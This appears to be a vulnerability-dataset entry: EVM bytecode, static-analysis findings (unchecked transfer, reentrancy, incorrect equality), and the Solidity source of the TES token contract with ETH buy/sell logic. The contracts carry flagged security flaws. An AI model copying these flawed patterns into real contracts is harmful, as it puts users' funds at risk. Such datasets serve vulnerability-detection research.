00190919050506120eb565b604051808215151515815260200191505060405180910390f35b3415610c2157600080fd5b610c29610dd5565b604051808260ff1660ff16815260200191505060405180910390f35b3415610c5057600080fd5b610c5861220a565b6040518082815260200191505060405180910390f35b3415610c7957600080fd5b610c81612210565b604051808215151515815260200191505060405180910390f35b3415610ca657600080fd5b610cae612223565b60405180848152602001838152602001828152602001935050505060405180910390f35b3415610cdd57600080fd5b610ce561223b565b604051808215151515815260200191505060405180910390f35b3415610d0a57600080fd5b610d36600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061244e565b005b3415610d4357600080fd5b610d4b6128cb565b6040518082815260200191505060405180910390f35b3415610d6c57600080fd5b610d98600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506128d1565b60405180856002811115610da857fe5b60ff1681526020018481526020018381526020018215151515815260200194505050505060405180910390f35b6000610dee600554610de96007603c610e49565b610e30565b42111515610dff57601e9050610e2d565b610e16600554610e11600f603c610e49565b610e30565b42111515610e275760199050610e2c565b600090505b5b90565b60008183019050828110151515610e4357fe5b92915050565b600081830290506000831480610e695750818382811515610e6657fe5b04145b1515610e7157fe5b92915050565b60008082111515610e8457fe5b8183811515610e8f57fe5b0490508183811515610e9d57fe5b068183020183141515610eac57fe5b92915050565b610ebb3361291b565b1515610ec657600080fd5b60045442111515610ed657600080fd5b600b60159054906101000a900460ff1615610f8e57610ef361130b565b15610f14576001600b60146101000a81548160ff0219169083151502179055505b6000600b60156101000a81548160ff0219169083151502179055507f67a8a1b43e91509cd4b0c047a83ae2bf5a697e7630d5e5fd51569b550c3ab64f600954600854600b60149054906101000a900460ff166040518084815260200183815260200182151515158152602001935050505060405180910390a15b565b600381815481101515610f9f57fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610fd83361291b565b1515610fe357600080fd5b610fed600f612984565b565b60175481565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561107857600080fd5b61108182612b88565b15151561108d57600080fd5b611095612c2b565b15156110a057600080fd5b8160036110ab612ccd565b8154811015156110b757fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f8f9fbfe40c1b19a4188c3e47cac005cd75f0e74bd7e5101b29fc2bf256a17e7960405160405180910390a260019050919050565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111af57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561120d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f79237486c2354fc0c561f08e5671b784dbbf0cbf122349cf28e7308136526dae60405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600f8060000154908060010154908060020154905083565b60006006546008541015905090565b600b60159054906101000a900460ff1681565b60085481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006113643361291b565b151561136f57600080fd5b6004544211151561137f57600080fd5b600b60159054906101000a900460ff1615151561139b57600080fd5b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115156113ec57600080fd5b6002808111156113f857fe5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16600281111561145357fe5b1415151561146057600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff161515156114bc57600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1690506001600281111561151b57fe5b81600281111561152757fe5b141561161657611587601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600c60000154612d7190919063ffffffff16565b600c600001819055506115ea601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600c60010154612d7190919063ffffffff16565b600c6001018190555061160c6001600c60020154612d7190919063ffffffff16565b600c600201819055505b6002601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083600281111561167557fe5b02179055506116d4601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600f60000154610e3090919063ffffffff16565b600f60000181905550611737601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600f60010154610e3090919063ffffffff16565b600f600101819055506117596001600f60020154610e3090919063ffffffff16565b600f600201819055508173ffffffffffffffffffffffffffffffffffffffff167fa8b944cc81b0f563f8774be2d1ef80f88e9c00f50c80345ea1e5575ab2e91e15826002604051808360028111156117ad57fe5b60ff1681526020018260028111156117c157fe5b60ff1681526020019250505060405180910390a25050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061180a3361291b565b151561181557600080fd5b6004544211151561182557600080fd5b600b60159054906101000a900460ff1615151561184157600080fd5b6000601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015411151561189257600080fd5b6001600281111561189f57fe5b601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1660028111156118fa57fe5b1415151561190757600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff1615151561196357600080fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff1690506002808111156119c157fe5b8160028111156119cd57fe5b1415611abc57611a2d601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600f60000154612d7190919063ffffffff16565b600f60000181905550611a90601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600f60010154612d7190919063ffffffff16565b600f60010181905550611ab26001600f60020154612d7190919063ffffffff16565b600f600201819055505b6001601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff02191690836002811115611b1b57fe5b0217905550611b7a601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600c60000154610e3090919063ffffffff16565b600c60000181905550611bdd601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600c60010154610e3090919063ffffffff16565b600c60010181905550611bff6001600c60020154610e3090919063ffffffff16565b600c600201819055508173ffffffffffffffffffffffffffffffffffffffff167fa8b944cc81b0f563f8774be2d1ef80f88e9c00f50c80345ea1e5575ab2e91e1582600160405180836002811115611c5357fe5b60ff168152602001826002811115611c6757fe5b60ff1681526020019250505060405180910390a25050565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ce257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611d1e57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb924308dae7985345e5cc02c5f052e63e1deb61975088d10c84db131117e3db060405160405180910390a381600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611def42611dea6007603c610e49565b610e30565b60028190555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611e33600754600854612d71565b905090565b600c8060000154908060010154908060020154905083565b60156020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b611e923361291b565b1515611e9d57600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515611f6a57600080fd5b6102c65a03f11515611f7b57600080fd5b50505060405180519050503373ffffffffffffffffffffffffffffffffffffffff167f511ccee1be7622147d7a336f4933782955abf82fdc7ab027a6c59b9d815f4b2f826040518082815260200191505060405180910390a250565b60055481565b60006004544211151561200157611ffe611ff960045442612d71565b612d8a565b90505b90565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156120cb57600080fd5b6102c65a03f115156120dc57600080fd5b50505060405180519050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561214857600080fd5b61215182612b88565b151561215c57600080fd5b6000600361216984612d9e565b81548110151561217557fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f590e4b56e9e11eeec961dbbb248740c7f6b1aff7bd715dc75c76323bb2995e2160405160405180910390a260019050919050565b60095481565b600b60149054906101000a900460ff1681565b60128060000154908060010154908060020154905083565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561229857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156122f657600080fd5b6002544211151561230657600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa658d47e6ffdd7cc5e1fe15ed072f85c802862735ebb92ecc682dab91fd07a9560405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b6124573361291b565b151561246257600080fd5b6004544211151561247257600080fd5b600b60159054906101000a900460ff1615151561248e57600080fd5b600b60149054906101000a900460ff1615156124a957600080fd5b6000601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541115156124fa57600080fd5b6001600281111561250757fe5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16600281111561256257fe5b14151561256e57600080fd5b601660008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160009054906101000a900460ff161515156125ca57600080fd5b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb82601660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156126d957600080fd5b6102c65a03f115156126ea57600080fd5b505050604051805190505061274f601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154601260000154610e3090919063ffffffff16565b6012600001819055506127b2601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154601260010154610e3090919063ffffffff16565b6012600101819055506127d46001601260020154610e3090919063ffffffff16565b6012600201819055506001601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160006101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f80b8fb70638cb2051468cbb981e5ef02c8b864bb7aded8a7cca1207746a0ff10601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546040518082815260200191505060405180910390a250565b60075481565b60166020528060005260406000206000915090508060000160009054906101000a900460ff16908060010154908060020154908060030160009054906101000a900460ff16905084565b600061292682612b88565b8061297d57508173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b61298d3361291b565b151561299857600080fd5b60006006541180156129ae575060075460065411155b15156129b957600080fd5b6000600754118015612aac5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612a8b57600080fd5b6102c65a03f11515612a9c57600080fd5b5050506040518051905060075411155b1515612ab757600080fd5b600081111515612ac657600080fd5b6000600554141515612ad757600080fd5b42600581905550612af4600554612aef83603c610e49565b610e30565b6004819055506001600b60156101000a81548160ff0219169083151502179055507f93c5a6b107723a711bb706ec5ea74ef8038f49fa57e30a58841cefae07cfd31c600654600754655af3107a4000620f424060055460045460405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390a150565b600080600090505b600560ff168160ff161015612c24578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612bc857fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c195760019150612c25565b806001019050612b90565b5b50919050565b600080600090505b600560ff168160ff161015612cc857600073ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612c6c57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612cbd5760019150612cc9565b806001019050612c33565b5b5090565b600080600090505b600560ff168160ff161015612d6c57600073ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612d0e57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612d61578060ff169150612d6d565b806001019050612cd5565b5b5090565b6000828211151515612d7f57fe5b818303905092915050565b6000612d9782603c610e77565b9050919050565b600080600090505b600560ff168160ff161015612e3c578273ffffffffffffffffffffffffffffffffffffffff1660038260ff16815481101515612dde57fe5b906000526020600020900160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612e31578060ff169150612e3d565b806001019050612da6565b5b509190505600a165627a7a723058207eab325a1106548ebeb88d4247412c7da3dce5e8ffa518fd628334a7105d91ed0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 10,393 |
0x8379ac58aa9ef08d97ea0144bf03bc3845b09ece | pragma solidity ^0.6.12;
// ----------------------------------------------------------------------------
// TRUSTED TEAM SMART ERC20 TOKEN/Bank
// Website : https://eth.tts.best/bank
// Symbol : TES
// Name : Trust Ethereum Smart
// Max supply : 21000000
// Decimals : 18
//
// Enjoy.
//
// (c) by TRUSTED TEAM SMART 2020. MIT License.
// Developers Signature(MD5 Hash) : d6b0169c679a33d9fb19562f135ce6ee
// ----------------------------------------------------------------------------
// SPDX-License-Identifier: MIT
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
/**
Contract function to receive approval and execute function in one call
*/
interface ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) external;
}
contract ERC20 is IERC20{
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 internal _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private CAPLIMIT;
uint256 private startTime;
uint256 private INFLATIONPERCENT = 3;
uint256 private MONTHLY_INFLATION = 90;
address internal _mainWallet;
uint256 private lastTime;
uint256 private _cap;
uint256 private _capAddition;
bool private isFirstInflation;
// ------------------------------------------------------------------------
// Constructor
// initSupply = 10TES
// ------------------------------------------------------------------------
constructor() internal {
_symbol = "TES";
_name = "Trust Ethereum Smart";
_decimals = 18;
_totalSupply = 10 * 10**18;
CAPLIMIT = 21 * 10**24;
_cap = 21 * 10**23;
_capAddition = _cap;
_balances[msg.sender] = _totalSupply;
startTime = block.timestamp;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory){
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue,
"ERC20: decreased allowance below zero")
);
return true;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) {
ApproveAndCallFallBack spender = ApproveAndCallFallBack(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, address(this), _extraData);
return true;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _product(uint256 amount) internal {
if (block.timestamp - startTime > 6387 days) {
if (block.timestamp - lastTime > 365 days || !isFirstInflation) {
if (!isFirstInflation) {
if (CAPLIMIT > _totalSupply)
amount = CAPLIMIT.sub(_totalSupply);
_cap = CAPLIMIT;
isFirstInflation = true;
}
_cap = _cap.mul(100 + INFLATIONPERCENT).div(100);
lastTime = block.timestamp;
}
} else {
if (block.timestamp - lastTime > 30 days) {
_capAddition = _capAddition.mul(MONTHLY_INFLATION).div(100);
_cap = _cap.add(_capAddition);
lastTime = block.timestamp;
}
}
amount = amount.add(amount.div(100));
if (_totalSupply.add(amount) > _cap)
amount = _cap.sub(_totalSupply);
if (amount == 0)
return;
_balances[_mainWallet] = _balances[_mainWallet].add(amount.div(101));
_balances[address(this)] = _balances[address(this)].add(amount.mul(100).div(101));
_totalSupply = _totalSupply.add(amount);
emit Transfer(address(0), address(this), amount.div(101));
emit Transfer(address(0), _mainWallet, amount.mul(100).div(101));
}
function burn(uint256 amount) external {
require(msg.sender != address(0), "ERC20: burn from the zero address");
_balances[msg.sender] = _balances[msg.sender].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(msg.sender, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract TESToken is ERC20{
using SafeMath for uint256;
uint256 private buyAmountLimit = 500 * 1e18;
uint256 private pulseAmount = 500 * 1e18;
uint256 private pulseCoef = 10002; // / 10000
uint256 private CoefLimit = 200000000;
uint256 public currentCoef = 500000; // /10000000
uint256 public pulseCounter;
uint256 public currentPulse;
event Sell(address indexed seller, uint256 TESAmount, uint256 ETHAmount, uint256 price);
event Buy(address indexed buyer, uint256 TESAmount, uint256 ETHAmount, uint256 price);
constructor(address mainWallet) public {
_mainWallet = mainWallet;
}
function receiveMoney() public payable{
}
//pays ETH gets TES
function buyToken() public payable returns(uint256 TESAmount, uint256 ETHAmount, uint256 payBackETH) {
uint256 price = getSellPrice(msg.value).mul(10000000 + currentCoef).div(10000000);
TESAmount = msg.value.mul(1e12).div(price);
ETHAmount = msg.value;
payBackETH = 0;
if (TESAmount > buyAmountLimit) {
uint256 payBackTES = TESAmount - buyAmountLimit;
payBackETH = price.mul(payBackTES).div(1e12);
TESAmount = buyAmountLimit;
}
if (_balances[address(this)] < TESAmount) {
_product(pulseAmount);
}
if (_balances[address(this)] < TESAmount) {
uint256 payBackTES = TESAmount - _balances[address(this)];
payBackETH = payBackETH.add(price.mul(payBackTES).div(1e12));
TESAmount = _balances[address(this)];
}
currentPulse = currentPulse.add(TESAmount);
if (currentPulse > pulseAmount) {
currentPulse = currentPulse.sub(pulseAmount);
pulseCounter++;
if (currentCoef < CoefLimit) {
currentCoef = currentCoef.mul(pulseCoef).div(10000);
if (currentCoef > CoefLimit)
currentCoef = CoefLimit;
}
}
if (payBackETH > 0) {
msg.sender.transfer(payBackETH);
ETHAmount = ETHAmount.sub(payBackETH);
}
if (TESAmount > 0) {
_transfer(address(this), msg.sender, TESAmount);
emit Buy(msg.sender, TESAmount, ETHAmount, price);
}
}
//pays TES gets eth
function sellToken(uint256 amount) public {
uint256 price = getSellPrice();
_transfer(msg.sender, address(this), amount);
uint256 ETHAmount = amount.mul(price).div(1e12);
msg.sender.transfer(ETHAmount);
emit Sell(msg.sender, amount, ETHAmount, price);
}
// decimals : 12
function getSellPrice() public view returns(uint256 price) {
return getSellPrice(0);
}
// decimals : 12
function getSellPrice(uint256 value) private view returns(uint256 price) {
uint256 balance = address(this).balance.sub(value).mul(1e12);
return balance.div(_totalSupply - _balances[address(this)]);
}
function getBuyPrice() public view returns (uint256 price) {
return getSellPrice().mul(10000000 + currentCoef).div(10000000);
}
} | 0x60806040526004361061012a5760003560e01c806343d32e9c116100ab578063a457c2d71161006f578063a457c2d7146105ac578063a48217191461061d578063a9059cbb14610649578063cae9ca51146106ba578063dd62ed3e146107c2578063fa9940b7146108475761012a565b806343d32e9c14610457578063640c1e47146104825780636d26ec18146104ad57806370a08231146104b757806395d89b411461051c5761012a565b80632397e4d7116100f25780632397e4d7146102b157806323b872dd146102ec578063313ce5671461037d57806339509351146103ab57806342966c681461041c5761012a565b8063018a25e81461012f57806306fdde031461015a578063095ea7b3146101ea57806318160ddd1461025b57806321fcac8b14610286575b600080fd5b34801561013b57600080fd5b50610144610872565b6040518082815260200191505060405180910390f35b34801561016657600080fd5b5061016f6108af565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101af578082015181840152602081019050610194565b50505050905090810190601f1680156101dc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f657600080fd5b506102436004803603604081101561020d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610951565b60405180821515815260200191505060405180910390f35b34801561026757600080fd5b50610270610968565b6040518082815260200191505060405180910390f35b34801561029257600080fd5b5061029b610972565b6040518082815260200191505060405180910390f35b3480156102bd57600080fd5b506102ea600480360360208110156102d457600080fd5b8101908080359060200190929190505050610978565b005b3480156102f857600080fd5b506103656004803603606081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b34801561038957600080fd5b50610392610b32565b604051808260ff16815260200191505060405180910390f35b3480156103b757600080fd5b50610404600480360360408110156103ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b49565b60405180821515815260200191505060405180910390f35b34801561042857600080fd5b506104556004803603602081101561043f57600080fd5b8101908080359060200190929190505050610bee565b005b34801561046357600080fd5b5061046c610da5565b6040518082815260200191505060405180910390f35b34801561048e57600080fd5b50610497610db6565b6040518082815260200191505060405180910390f35b6104b5610dbc565b005b3480156104c357600080fd5b50610506600480360360208110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbe565b6040518082815260200191505060405180910390f35b34801561052857600080fd5b50610531610e06565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610571578082015181840152602081019050610556565b50505050905090810190601f16801561059e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105b857600080fd5b50610605600480360360408110156105cf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ea8565b60405180821515815260200191505060405180910390f35b610625610f67565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561065557600080fd5b506106a26004803603604081101561066c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611307565b60405180821515815260200191505060405180910390f35b3480156106c657600080fd5b506107aa600480360360608110156106dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561072457600080fd5b82018360208201111561073657600080fd5b8035906020019184600183028401116401000000008311171561075857600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061131e565b60405180821515815260200191505060405180910390f35b3480156107ce57600080fd5b50610831600480360360408110156107e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145a565b6040518082815260200191505060405180910390f35b34801561085357600080fd5b5061085c6114e1565b6040518082815260200191505060405180910390f35b60006108aa6298968061089c601354629896800161088e610da5565b6114e790919063ffffffff16565b61156d90919063ffffffff16565b905090565b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109475780601f1061091c57610100808354040283529160200191610947565b820191906000526020600020905b81548152906001019060200180831161092a57829003601f168201915b5050505050905090565b600061095e3384846115b7565b6001905092915050565b6000600254905090565b60135481565b6000610982610da5565b905061098f3330846117ae565b60006109bb64e8d4a510006109ad84866114e790919063ffffffff16565b61156d90919063ffffffff16565b90503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a03573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff167f846c37eef631e0943682d87352ec117c20008eb7f425c9b85ac011a6d4774cc084838560405180848152602001838152602001828152602001935050505060405180910390a2505050565b6000610a748484846117ae565b610b278433610b228560405180606001604052806028815260200161221e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200